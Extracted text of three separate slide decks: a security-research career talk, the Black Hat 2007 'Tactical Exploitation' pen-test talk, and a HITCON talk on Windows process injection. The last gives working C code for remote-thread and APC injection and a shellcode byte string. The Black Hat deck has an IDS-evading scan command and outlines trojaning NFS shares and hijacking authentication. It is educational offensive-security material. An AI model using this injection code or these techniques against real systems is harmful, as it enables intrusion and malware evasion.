http://commons.wikimedia.org/wiki/File:Stradivarius_violin_front.jpg Write Up Your Ideas • Puts a timestamp on your work • Helps make sure your work is known • Strunk and White – Omit Unnecessary Words • Magazine / journal articles – You don’t have to publish – Read authors’ guidelines – Doesn’t hurt if you already subscribe • It is all about good fit Publication • Getting published is not a problem. • Getting published in the right place is the goal. • One good paper is better than several fluffy ones. Rooter: A Methodology for the Typical Unification of Access Points and Redundancy Jeremy Stribling, Daniel Aguayo and Maxwell Krohn Accepted at WMSCI 2005 Many physicists would agree that, had it not been for congestion control, the evaluation of web browsers might never have occurred. In fact, few hackers worldwide would disagree with the essential unification of voice-over-IP and public-private key pair. In order to solve this riddle, we confirm that SMPs can be made stochastic, cacheable, and interposable. Academic Security Conferences 6/ 6/11- 6/ 8/11: POLICY, Pisa, Italy; 6/ 6/11: ACSAC, Walt Disney World Resort, FL; 6/ 6/11: CRiSIS Timisoara, Romania; 6/ 7/11- 6/10/11: ACNS; Malaga, Spain; 6/ 7/11- 6/ 9/11: IFIP-SEC, Luzern Switzerland; 6/10/11: EuroPKI Leuven, Belgium; 6/10/11: DSPSR, Melbourne, Australia; 6/14/11- 6/17/11: WiSec, Hamburg Germany 6/15/11: S&P Workshops, SF bay area, CA; 6/15/11: SOFSEM-CryptoTrack Czech Republic; 6/15/11- 6/17/11: SACMAT, Innsbruck, Austria; 6/15/11- 6/17/11: USENIX-ATC, Portland, OR; 6/19/11: FAST; Leuven, Belgium; http://www.ieee-security.org/Calendar/cipher-hypercalendar.html 6/20/11: DSPAN, Lucca, Italy; 6/20/11: FCS, Toronto, Ontario, Canada ; 6/22/11- 6/24/11: TRUST, Pittsburgh, PA; 6/26/11- 6/28/11: RFIDSec, Amherst, MA; 6/27/11: STC Chicago, IL; 6/27/11- 6/29/11: ICSECS, Kuantan, Malaysia; 6/27/11- 6/29/11: CSF, France ; 6/27/11- 6/28/11: STM, Copenhagen, Denmark; 6/27/11: DRM, Chicago, IL; 6/28/11- 6/30/11: F2GC, Crete, Greece; 6/28/11- 6/30/11: IWCS, Crete, Greece; 6/29/11- 7/ 1/11: IFIPTM, Copenhagen Denmark; 6/30/11: FCC, Paris, France; 6/30/11: TrustCom Changsha China; … 75 More Publication Hierarchy • Poster Session • Technical Report • Workshop • Conference / Symposium • Journal • Also, Magazines, Books, and Book Chapters, Technical Reviewer, White Papers, Panels, Talks Hierarchies within Hierarchies Top Tier Security Conferences – IEEE Symposium on Security and Privacy – ACM Conference on Computer and Communications Security – Crypto – Eurocrypt – Usenix Security Dear XXX, I am writing on behalf of the German publishing house, VDM Verlag Dr. Müller AG & Co. KG. In the course of a research on the Internet, I came across a reference to your thesis on “YYY". We are a German-based publisher whose aim is to make academic research available to a wider audience. VDM Verlag would be especially interested in publishing your dissertation in the form of a printed book. Your reply including an e-mail address to which I can send an e-mail with further information in an attachment will be greatly appreciated. I am looking forward to hearing from you. -- Sebastien Latreille Acquisition Editor VDM Publishing House Ltd. 17, Meldrum Str. | Beau-Bassin | Mauritius Tel / Fax: +230 467-5601 [email protected] | www.vdm-publishing.com Structure of a Research Paper • Title / Author List /Abstract • Background and Motivation • Related Work • Design • Implementation • Evaluation • Analysis • Conclusions • Future Work Or… • Publish it yourself • Self-publish a book • Start your own conference • Seek your own patent(s) and trademarks • Start your own business Self Publishing in the Underground Defcon 15 http://video.google.com/videoplay?docid=3533339596291562602# Patents • Cost • Time • Profit • Documentation • “Closed Source” http://www.crazypatents.com/images/Large/5571247.jpg US Patent 5,571,247 Self Contained Enclosure for Protection from Killer Bees Parting Thoughts Don’t Self Censor Good research is often disruptive to the status quo. Don’t be afraid to choose something controversial. http://commons.wikimedia.org/wiki/File:Tuol_Sleng_Barbed_Wire.jpg Help Others http://commons.wikimedia.org/wiki/File:Helping_Hands_sculpture,_Mandela_Gardens,_Leeds_-_DSC07711.JPG Believe in Yourself The research space isn’t as crowded as you’d think, and your kung-fu is strong http://commons.wikimedia.org/wiki/File:Kung_Fu_Shaolin_03.JPG Develop a Sense for Open Problems http://cdn.inquisitr.com/wp-content/2010/08/p-not-equal-to-np.jpg The Good Idea Fairy Working on your own ideas is probably more fun than working on someone else’s. http://www.flickr.com/photos/58512268@N00/2261036762/ Keep Pulling the Thread NAND gate built from relays Image from Code by Charles Petzold Balance Inputs, Processing and Outputs http://commons.wikimedia.org/wiki/File:Peddler_Balance_A117319.jpg Fight Uninformed Law “Honored visitor of phenoelit.de. Much to our regret, this site is no longer available in the form it has been since the late 1990s.” “It became illegal.” Find Inspiration in Others you Respect Know what you don’t know [T]here are known knowns; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns – the ones we don't know we don't know. http://en.wikipedia.org/wiki/File:Rumsfeld_and_cheney.jpg Donald Rumsfeld Don’t Expect to Get Rich http://commons.wikimedia.org/wiki/File:White_Ferrari_Scuderia_Spider_16M_in_Lugano_-2.jpg * I saw the NOP Sled License plate at an ACM CCS conference parking garage in DC Build Momentum http://commons.wikimedia.org/wiki/File:Ashton_Frost_engine_flywheel.jpg The Journey Itself Has Many Dividends http://commons.wikimedia.org/wiki/File:Hudson_Bay_Exploration_Western_Interior_map_de.png Questions?
pdf
Black Hat USA 2007 Tactical Exploitation Tactical Exploitation ““the other way to pen-test “ the other way to pen-test “ hdm / valsmith hdm / valsmith Black Hat USA 2007 who are we ? who are we ? H D Moore <hdm [at] metasploit.com> BreakingPoint Systems || Metasploit Valsmith <valsmith [at] metasploit.com> Offensive Computing || Metasploit Black Hat USA 2007 why listen ? why listen ? • A different approach to pwning • New tools, fun techniques • Real-world tested :-) Black Hat USA 2007 what do we cover ? what do we cover ? • Target profiling • Discovery tools and techniques • Exploitation • Getting you remote access Black Hat USA 2007 the tactical approach the tactical approach • Vulnerabilites are transient • Target the applications • Target the processes • Target the people • Target the trusts • You WILL gain access. Black Hat USA 2007 the tactical approach the tactical approach • Crackers are opportunists • Expand the scope of your tests • Everything is fair game • What you dont test... • Someone else will. Black Hat USA 2007 the tactical approach the tactical approach • Hacking is not about exploits • The target is the data, not r00t • Hacking is using what you have • Passwords, trust relationships • Service hijacking, auth tickets Black Hat USA 2007 personnel discovery personnel discovery • Security is a people problem • People write your software • People secure your network • Identify the meatware first Black Hat USA 2007 personnel discovery personnel discovery • Identifying the meatware • Google • Newsgroups • SensePost tools • www.Paterva.com Black Hat USA 2007 personnel discovery personnel discovery • These tools give us • Full names, usernames, email • Employment history • Phone numbers • Personal sites Black Hat USA 2007 personnel discovery personnel discovery CASE STUDY Black Hat USA 2007 personnel discovery personnel discovery • Started with no information but CO name and function • Found online personnel directory • Found people / email addresses • Email name = username = target Black Hat USA 2007 personnel discovery personnel discovery DEMO Black Hat USA 2007 network discovery network discovery • Identify your target assets • Find unknown networks • Find third-party hosts • Dozens of great tools... • Lets stick to the less-known ones Black Hat USA 2007 network discovery network discovery • The overused old busted • Whois, Google, zone transfers • Reverse DNS lookups Black Hat USA 2007 network discovery network discovery • The shiny new hotness • Other people's services • CentralOps.net • DigitalPoint.com • DomainTools.com • Paterva.com Black Hat USA 2007 network discovery network discovery • What does this get us? • Proxied DNS probes, transfers • List of virtual hosts for each IP • Port scans, traceroutes, etc • Gold mine of related info Black Hat USA 2007 network discovery network discovery • Active discovery techniques • Trigger SMTP bounces • Brute force HTTP vhosts • Watch outbound DNS • Just email the users! Black Hat USA 2007 network discovery network discovery CASE STUDY Black Hat USA 2007 network discovery network discovery DEMO Black Hat USA 2007 firewalls and ips firewalls and ips • Firewalls have gotten snobby • Content filtering is now common • Intrusion prevention is annoying • Identify and fingerprint • Increase your stealthiness • Customize your exploits Black Hat USA 2007 firewalls and ips firewalls and ips • Firewall identification • NAT device source port ranges • Handling of interesting TCP • IPS identification • Use “drop with no alert” sigs • Traverse sig tree to find vendor Black Hat USA 2007 firewall and ips firewall and ips CASE STUDY Black Hat USA 2007 firewall and ips firewall and ips DEMO Black Hat USA 2007 application discovery application discovery • If the network is the toast... • Applications are the butter. • Each app is an entry point • Finding these apps is the trick Black Hat USA 2007 application discovery application discovery • Tons of great tools • Nmap, Amap, Nikto, Nessus • Commercial tools Black Hat USA 2007 application discovery application discovery • Slow and steady wins the deface • Scan for specific port, one port only • IDS/IPS can't handle slow scans • Ex. nmap -sS -P0 -T 0 -p 1433 ips Black Hat USA 2007 application discovery application discovery • Example target had custom IDS to detect large # of host connections • Standard nmap lit up IDS like XMAS • One port slow scan never detected • Know OS based on 1 port (139/22) Black Hat USA 2007 application discovery application discovery • Some new tools • W3AF for locating web apps • Metasploit 3 includes scanners Black Hat USA 2007 application discovery application discovery CASE STUDY Black Hat USA 2007 application discovery application discovery DEMO Black Hat USA 2007 client app discovery client app discovery • Client applications are fun! • Almost always exploitable • Easy to fingerprint remotely • Your last-chance entrance Black Hat USA 2007 client app discovery client app discovery • Common probe methods • Mail links to the targets • Review exposed web logs • Send MDNs to specific victims • Abuse all, everyone, team aliases Black Hat USA 2007 client app discovery client app discovery • Existing tools • BEEF for browser fun • Not much else... Black Hat USA 2007 client app discovery client app discovery • Shiny new tools • Metasploit 3 SMTP / HTTP • Metasploit 3 SMB services Black Hat USA 2007 client app discovery client app discovery CASE STUDY Black Hat USA 2007 client app discovery client app discovery DEMO Black Hat USA 2007 process discovery process discovery • Track what your target does • Activity via IP ID counters • Last-modified headers • FTP server statistics Black Hat USA 2007 process discovery process discovery • Look for patterns of activity • Large IP ID increments at night • FTP stats at certain times • Web pages being uploaded Black Hat USA 2007 process discovery process discovery • Existing tools? • None :-( • New tools • Metasploit 3 profiling modules • More on exploiting this later... Black Hat USA 2007 process discovery process discovery CASE STUDY Black Hat USA 2007 process discovery process discovery DEMO Black Hat USA 2007 15 Minute Break 15 Minute Break • Come back for the exploits! Black Hat USA 2007 re-introduction re-introduction • In our last session... • Discovery techniques and tools • In this session... • Compromising systems! Black Hat USA 2007 external network external network • The crunchy candy shell • Exposed hosts and services • VPN and proxy services • Client-initiated sessions Black Hat USA 2007 attacking file transfers attacking file transfers • FTP transfers • Active FTP source ports • Passive FTP servers • NFS transfers • TFTP transfers Black Hat USA 2007 attacking mail services attacking mail services • Four different attack points • The mail relay servers • The antivirus gateways • The real mail server • The users mail client • File name clobbering... Black Hat USA 2007 attacking web servers attacking web servers • Brute force files and directories • Brute force virtual hosts • Standard application flaws • Load balancer fun... • Clueless users cgi-bin's are often the Achilles heel Black Hat USA 2007 attacking dns servers attacking dns servers • Brute force host name entries • Brute force internal hosts • XID sequence analysis • Return extra answers... Black Hat USA 2007 attacking db servers attacking db servers • Well-known user/pass combos • Business apps hardcode auth • Features available to anonymous • No-patch bugs (DB2, Ingres, etc) Black Hat USA 2007 authentication relays authentication relays • SMB/CIFS clients are fun! • Steal hashes, redirect, MITM • NTLM relay between protocols • SMB/HTTP/SMTP/POP3/IMAP Black Hat USA 2007 social engineering social engineering • Give away free toys • CDROMs, USB keys, N800s • Replace UPS with OpenWRT • Cheap and easy to make Black Hat USA 2007 internal network internal network • The soft chewy center • This is the fun part :) • Easy to trick clients Black Hat USA 2007 file services file services • SMB is awesome • Look for AFP exports of SMB data • NAS storage devices • Rarely, if ever, patch Samba :-) Black Hat USA 2007 file services file services • NFS is your friend • Dont forget its easy cousin NIS • Scan for port 111 / 2049 • showmount -e / showmount -a • Whats exported, whose mounting? Black Hat USA 2007 file services file services • Exported NFS home directories • Important target! • If you get control • Own every node that mounts it Black Hat USA 2007 file services file services • If you are root on home server • Become anyone (NIS/su) • Harvest known_hosts files • Harvest allowed_keys • Modify .login, etc. + insert trojans Black Hat USA 2007 file services file services • Software distro servers are fun! • All nodes access over NFS • Write to software distro directories • Trojan every node at once • No exploits needed! Black Hat USA 2007 file services file services CASE STUDY Black Hat USA 2007 netbios services netbios services • NetBIOS names are magic • WPAD • ISASRV • CALICENSE Black Hat USA 2007 dns services dns services • Microsoft DNS + DHCP = fun • Inject and overwrite DNS • Hijack the entire network • Impersonate servers Black Hat USA 2007 wins services wins services • Advertise your WINS service • Control name lookups • Attack other client apps Black Hat USA 2007 license servers license servers • A soft spot in desktop apps • Computer Associates • Bugs and simple to spoof • FlexLM network services Black Hat USA 2007 remote desktops remote desktops • RDP • Great for gathering other targets • Domain lists available pre-auth • If not available, start your own: • net start “terminal services” Black Hat USA 2007 remote desktops remote desktops • VNC • The authentication bug is great :) • MITM attacks are still viable • Install your own with Metasploit 3 • vncinject payloads Black Hat USA 2007 trust relationships trust relationships • The target is unavailable to YOU • Not to another host you can reach... • Networks may not trust everyone • But they often trust each other :) • Black Hat USA 2007 trust relationships trust relationships CASE STUDY Black Hat USA 2007 Hijacking SSH Hijacking SSH CASE STUDY Black Hat USA 2007 Hijacking Kerberos Hijacking Kerberos CASE STUDY Black Hat USA 2007 Hijacking NTLM Hijacking NTLM CASE STUDY Black Hat USA 2007 Conclusion Conclusion • Compromise a patched network • Determination / creativity wins • Lots of new pen-test tools • The best tool is still YOU!
pdf
[email protected] Windows Injection 101: from Zero to ROP ./Bio✨ • ⾺馬聖豪, aaaddress1 aka adr • Chroot, TDOH • TDOHConf: 2016 議程組長 & 2017 活動組長 • 精通 C/C++、Windows 特性、逆向⼯工程 • Speaker: HITCON CMT 2015 HITCON CMT 2016 Lightning SITCON 2016 SITCON 2017 iThome#Chatbot 2017 BSidesLV 2016 ICNC'17 MC2015 CISC 2016 資訊安全基礎技術⼯工作坊 資安實務攻防研習營 ⼤大.⼤大.⼤大..⼤大概啦 [email protected] #murmur Some Bullsh*t after I submit this session [email protected] Amazing! [email protected] cfp2017.hitcon.org “六、欲投稿者請於 2017 年年 7 ⽉月 14 ⽇日前,⾄至⼤大會投稿 系統 ( https://cfp2017.hitcon.org ) 註冊並上傳稿件,俾 利利議程委員審核,審核順序以投稿時間先後為準,如已 達本屆所需論⽂文數量量,⼤大會得提前截稿,故請儘速完成 投稿程序。” [email protected] 2017/7/18? https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process [email protected] 議程中請不要睡著 我也很想睡 請踴躍舉⼿手發⾔言 說好不插嘴的! 請勿吸菸、抽⼤大⿇麻、跑百米賽跑、玩碟仙、摸八圈、 跳八家將、炸鹽酥雞、到我背後抓寶、問我會不會FreeStyle ./CoC @Loki the Corgi [email protected] Evolution Of Malware Long Story About How Malware Against AntiVirus [email protected] R3m0t3-C0ntr0l;H4ck;C&C; B4ckdo0r;Sh311;B0tn3t;K3y l0gger;Ma1ware;Ro0t;W0rm; Zer0-D4y;Trojan;Exp10it;H 4ck;$cript;Packet;Cr4ck;R 4T;$ecuri7y;vu1ner4bi1i7y 4dmini$tr4t0r;Byp4$$ing;= Hacker Friendly World [email protected] until AntiVirus; [email protected] PE (Portable Executable); [email protected] Virus Signature; [email protected] PE (Portable Executable); [email protected] DOS Header ⬅DOS Program ⬅NT Header ⋯⋯ PE File Header Optional Header [email protected] DOS Header ⬅DOS Program ⬅NT Header ⋯⋯ 1. DOS Header starts with 'MZ'
 2. *(DWORD *)((DOS Header + 0x3c) point to NT Header PE File Header Optional Header File Header is also referred to as COFF header. Records NumberOfSections, TimeDateStamp,SizeOfOptionalHeade r, etc. [email protected] Optional Header typedef'struct'_IMAGE_OPTIONAL_HEADER'{' ''WORD'''''''''''''''''Magic;' ''BYTE'''''''''''''''''MajorLinkerVersion;' ''BYTE'''''''''''''''''MinorLinkerVersion;' ''DWORD''''''''''''''''SizeOfCode;' ''DWORD''''''''''''''''SizeOfInitializedData;' ''DWORD''''''''''''''''SizeOfUninitializedData;' ''DWORD''''''''''''''''AddressOfEntryPoint;' ''DWORD''''''''''''''''BaseOfCode;' ''DWORD''''''''''''''''BaseOfData;' ''DWORD''''''''''''''''ImageBase;' ''DWORD''''''''''''''''SectionAlignment;' ''DWORD''''''''''''''''FileAlignment;' ''WORD'''''''''''''''''MajorOperatingSystemVersion;' ''WORD'''''''''''''''''MinorOperatingSystemVersion;' ''WORD'''''''''''''''''MajorImageVersion;' ''WORD'''''''''''''''''MinorImageVersion;' ''WORD'''''''''''''''''MajorSubsystemVersion;' ''WORD'''''''''''''''''MinorSubsystemVersion;' ''DWORD''''''''''''''''Win32VersionValue;' ''DWORD''''''''''''''''SizeOfImage;' ''DWORD''''''''''''''''SizeOfHeaders;' ''DWORD''''''''''''''''CheckSum;' ''WORD'''''''''''''''''Subsystem;' ''WORD'''''''''''''''''DllCharacteristics;' ''DWORD''''''''''''''''SizeOfStackReserve;' ''DWORD''''''''''''''''SizeOfStackCommit;' ''DWORD''''''''''''''''SizeOfHeapReserve;' ''DWORD''''''''''''''''SizeOfHeapCommit;' ''DWORD''''''''''''''''LoaderFlags;' ''DWORD''''''''''''''''NumberOfRvaAndSizes;' ''IMAGE_DATA_DIRECTORY'DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];' }'IMAGE_OPTIONAL_HEADER,'*PIMAGE_OPTIONAL_HEADER; [email protected] ⬅DOS Program ⬅NT Header PE Optional Header Section Header 1 Section Header 2 ... Section Header N Section 1 Section 2 ... Section N Optional Header point to the first section header, and each sections between sizeof(PIMAGE_SECTION_HEADER) ⏞ Section Header Array [email protected] typedef'struct'_IMAGE_SECTION_HEADER'{' ''''BYTE'Name[IMAGE_SIZEOF_SHORT_NAME];' ''''union'{' ''''''''DWORD'PhysicalAddress;' ''''''''DWORD'VirtualSize;' ''''}'Misc;' ''''DWORD'VirtualAddress;' ''''DWORD'SizeOfRawData;' ''''DWORD'PointerToRawData;' ''''DWORD'PointerToRelocations;' ''''DWORD'PointerToLinenumbers;' ''''WORD'NumberOfRelocations;' ''''WORD'NumberOfLinenumbers;' ''''DWORD'Characteristics;' }; ⬅DOS Program ⬅NT Header PE Optional Header Section Header 1 Section Header 2 ... Section Header N Section 1 Section 2 ... Section N Each Section Header point to their Section Data, and records detail. e.g. VirtualAddress, Section Name, SizeOfRawData. [email protected] ⬅DOS Program ⬅NT Header PE Optional Header .text Header .rdata Header ... .text Section .rdata Section ... Section N void evil() { // connect with C&C ccLemon(); // do something evil eatYourFood(); } Each Section Header point to their Section Data, and records detail. e.g. VirtualAddress, Section Name, SizeOfRawData. [email protected] PE DOS Program Evil Function NT Header ... .text Section bool chkVirus(PBYTE mem) { /* 55 - push ebp 8b ec - mov ebp, esp 81 EC 08 01 00 00 - sub esp,00000108 */ char Signature[] = "\x55\x8B\xEC\x81\xEC\x08\x01"; return !strncmp((char *)mem+0xdead, Signature, 7); } (DOS Header + 0xdead) [email protected] So... How about Packer? UPX.exe [email protected] Real-Time Detection; [email protected] Malware.exe ... .text Section ... ... .text Section ... Ntdll.dll ... .text Section ... Kernel32.dll ... Process KiFastSystemCall __asm { sysenter } Windows Kernel (Ring0) normal eax = function index [email protected] Malware.exe ... .text Section ... ... .text Section ... Ntdll.dll ... .text Section ... sandbox.dll ... Process KiFastSystemCall __asm { sysenter } Windows Kernel (Ring0) Hook @ring3 [email protected] KiFastSystemCall __asm { sysenter } Windows Kernel (Ring0) Malware.exe ... .text Section ... ... .text Section ... Ntdll.dll ... .text Section ... ... Process Malware.exe @ring0 Kernel32.dll [email protected] Malware Code Messenger.exe ... .text Section ... ... Process Blind-Spot Of Anti-Virus Place malcode into memory Make malcode called [email protected] Malware Code Messenger.exe ... .text Section ... ... Process RegOpenKey Windows Kernel (Ring0) under AV DeleteFile WriteProcessMemory [email protected] Injection Art Introduction of Injection Tricks [email protected] Issues Of Injection A.Place code in memory B.Execution C.Magic [email protected] Place code in memory 1. Ntdll.NtWriteVirtualMemory,
 Kernel32.WriteProcessMemory
 2. User32.SetWindowLong 3. AtomBombing
 4. Exploit? [email protected] 1. Ntdll.NtCreateThreadEx,
 Ntdll.RtlCreateUserThread,
 Kernel32.CreateRemoteThread
 2. Ntdll.NtQueueApcThread,
 Kernel32.QueueUserAPC
 3. Import Address Table Hook 4. SetThreadContext + ResumeThread 5. Extra Window Memory (EWM) Vunerability 6. Exploit? Execution [email protected] ✨Magic✨ 1. Rundll 2. Registry Modification 3. DLL Side-Loading 4. SetWindowsHookEx 5. Shims [email protected] Injection Art •Rundll32 •DLL Side-Loading •CreateRemoteThread •PE Injection •Process Hollowing •SetWindowsHookEx •Registry Modification •APC Injection & AtomBombing •Extra Window Memory (EWM) •IAT Hooking & Inline Hooking •Shims [email protected] Injection Art 0 Baby Steps [email protected] Rundll support.microsoft.com/en-us/help/164787/info-windows-rundll-and-rundll32-interface [email protected] Shim [email protected] Registry Modification Debugger Value (IFEO) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Image File Execution Options\ AppInit_DLLs HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Windows\AppInit_DLLs\ [email protected] Injection Art 1 Typical Code Injection [email protected] Memory Map (Immunity Debugger) Malware.exe Ntdll.dll ... Process Kerne32.dll User32.dll ... Ntdll.dll ... Process Kerne32.dll User32.dll ... Messenger.exe Ntdll.dll ... Process Kerne32.dll User32.dll ... Chrome.exe Stack Memory Stack Memory Stack Memory Fixed ASLR Low Heigh Malware.exe [email protected] Malware.exe Ntdll.dll ... Process Kernel32.dll User32.dll ... Ntdll.dll ... Process Kernel32.dll User32.dll ... Chrome.exe OpenProcess() return access handle [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Memory Allocated VirtualAllocEx() Allocate a new space to store shellcode Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Shellcode WriteProcessMemory() Copy shellcode to memory space Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Shellcode CreateRemoteThread Thread Execute shellcode Kernel32.dll Kernel32.dll [email protected] HANDLE get_process_handle(wchar_t proc_name[]) { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); if (Process32First(snapshot, &process)) { do { if (!wcscmp(process.szExeFile, proc_name)) break; } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); if (!process.th32ProcessID) return NULL; return OpenProcess(PROCESS_ALL_ACCESS, 1, process.th32ProcessID); } OpenProcess [email protected] HANDLE access_token = get_process_handle(L"chrome.exe"); LPVOID mem = VirtualAllocEx( access_token, NULL, strlen(shellcode + 1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); WriteProcessMemory( access_token, mem, shellcode, strlen(shellcode + 1), NULL ); CreateRemoteThread( access_token, NULL, 0, (LPTHREAD_START_ROUTINE)mem, 0, 0, NULL ); [email protected] Injection Art 1.1 Typical Code Injection via APC [email protected] Malware.exe Ntdll.dll ... Process Kernel32.dll User32.dll ... Ntdll.dll ... Process Kernel32.dll User32.dll ... Chrome.exe OpenProcess() return access handle [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Memory Allocated VirtualAllocEx() Allocate a new space to store shellcode Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Shellcode WriteProcessMemory() Copy shellcode to memory space Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Shellcode CreateToolhelp32Snapshot() Thread 1 Thread 2 Thread 3 Thread 4 Thread ID Process 1 Chrome.exe 2 Chrome.exe ... N XXXX.exe Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe Shellcode QueueUserAPC() Thread 1 Thread 2 Thread 3 Thread 4 Kernel32.dll Kernel32.dll [email protected] void apc_invoke(DWORD pid, LPVOID mem_func) { auto hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0 ); THREADENTRY32 te = { sizeof(te) }; if (Thread32First(hSnapshot, &te)) { do { if (te.th32OwnerProcessID != pid) continue; HANDLE hThread = OpenThread( THREAD_SET_CONTEXT, FALSE, te.th32ThreadID ); if (hThread) QueueUserAPC((PAPCFUNC)mem_func, hThread, NULL); } while (::Thread32Next(hSnapshot, &te)); } } APC Inject [email protected] Injection Art 2 PE Injection [email protected] Issues of Code Inject Hard to develop Hard to repair Portability? char *shellcode = "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b" "\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09" "\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d" "\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03" "\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81" "\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04" "\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03" "\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3" "\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68" "\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68" "\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9" "\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65" "\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01" "\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68" "\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68" "\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68" "\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57" "\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c" "\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78" "\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"; [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Ntdll.dll ... Process User32.dll ... Chrome.exe OpenProcess() return access handle Kernel32.dll Kernel32.dll [email protected] 7ZIP [email protected] PE DOS Program NtHeader ... OptionalHeader .ImageBase (0x400000) .SizeOfHeaders FileHeader .NumberOfSections .AddressOfEntryPoint SizeOfHeaders Section Header 1 (.text) Section Header 2 Section Header 3 Section Data 1 (.text) ... sizeof(Section Header) = IMAGE_SIZEOF_SECTION_HEADER =40(fixed) .SizeOfImage [email protected] PE NtHeader ... IMAGE SECTION HEADER Section Header 1 (.text) Section Header 2 Section Header 3 Section Data 1 (.text) ... .VirtualAddress .PointerToRawData .SizeOfRawData SizeOfRawData SectionHeader[i] = PIMAGE_SECTION_HEADER( NtHeader + sizeof(IMAGE_NT_HEADERS) + IMAGE_SIZEOF_SECTION_HEADER * index ); DOS Program [email protected] Malware.exe Ntdll.dll ... Process Kernel32.dll User32.dll ... ... Process Chrome Memory Allocated VirtualAllocEx() Allocate memory at ImageBase(0x400000) (Length = SizeOfImage) 0x400000 [email protected] Malware.exe Ntdll.dll ... Process Kernel32.dll User32.dll ... ... Process Chrome WriteProcessMemory() at ImageBase + 0x00 Copy SizeOfHeaders bytes from (malware.exe + 0x00) Image Header [email protected] DOS Program ... malware.exe ... Process Chrome NtHeader Section Header 1 Section Data 1 ... .VirtualAddress = 0xbeef Space@beef .PointerToRawData .SizeOfRawData copy SizeOfRaowData bytes from PointerToRawData via WriteProcessMemory() Image Header [email protected] Space@beef Section Header 1 ... malware.exe ... Process Chrome NtHeader Section Header2 Section Data 2 ... .VirtualAddress = 0xcafe Space@cafe .PointerToRawData .SizeOfRawData copy SizeOfRaowData bytes from PointerToRawData via WriteProcessMemory() Image Header DOS Program [email protected] .text ... Process Chrome Section 2 Section 3 ... Malware.exe Ntdll.dll Process User32.dll SetThreadContext() & ResumeThread() eax = AddressOfEntryPoint ... Malware.exe Image Header Kernel32.dll [email protected] Demo [email protected] [email protected] Injection Art 3 DLL Injection [email protected] LoadLibrary LoadLibraryA("junk.dll") ... .text Section ... Ntdll.dll ... Process Program.exe Kernel32.dll User32.dll [email protected] LoadLibrary LoadLibraryA("junk.dll") ... .text Section ... Ntdll.dll ... Process Program.exe Kernel32.dll User32.dll ... .text Section ... Junk.dll [email protected] LoadLibrary LoadLibraryA("junk.dll") ... .text Section ... Ntdll.dll ... Process Program.exe Kernel32.dll User32.dll ... ... Junk.dll .text Section Invoke DllMain() or DllEntry() [email protected] Malware.exe Ntdll.dll ... Process Kernel32.dll User32.dll ... Ntdll.dll ... Process Kernel32.dll User32.dll ... Chrome.exe OpenProcess() return access handle [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Process Chrome Memory Allocated VirtualAllocEx() Allocate memory to store DLL path Ntdll.dll ... User32.dll ... Malware.exe Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Process Chrome C:\hola.dll Ntdll.dll ... User32.dll ... WriteProcessMemory() Copy DLL path to memory space Malware.exe Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Process Chrome C:\hola.dll Ntdll.dll ... User32.dll ... Malware.exe Fixed Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Process Chrome C:\hola.dll Ntdll.dll ... User32.dll ... Malware.exe GetProcAddress( LoadLibrary("kernel32.dll"), "LoadLibraryA" ); Kernel32.dll Kernel32.dll [email protected] Malware.exe Ntdll.dll ... Process User32.dll ... Process Chrome C:\hola.dll Ntdll.dll ... User32.dll ... Malware.exe LoadLibraryA CreateRemoteThread parameter Kernel32.dll Kernel32.dll [email protected] Demo [email protected] Injection Art 4 DLL Side-Loading news.softpedia.com/news/dll-hijacking-issue-plagues-products-like-firefox-chrome-itunes-openoffice-500060.shtml 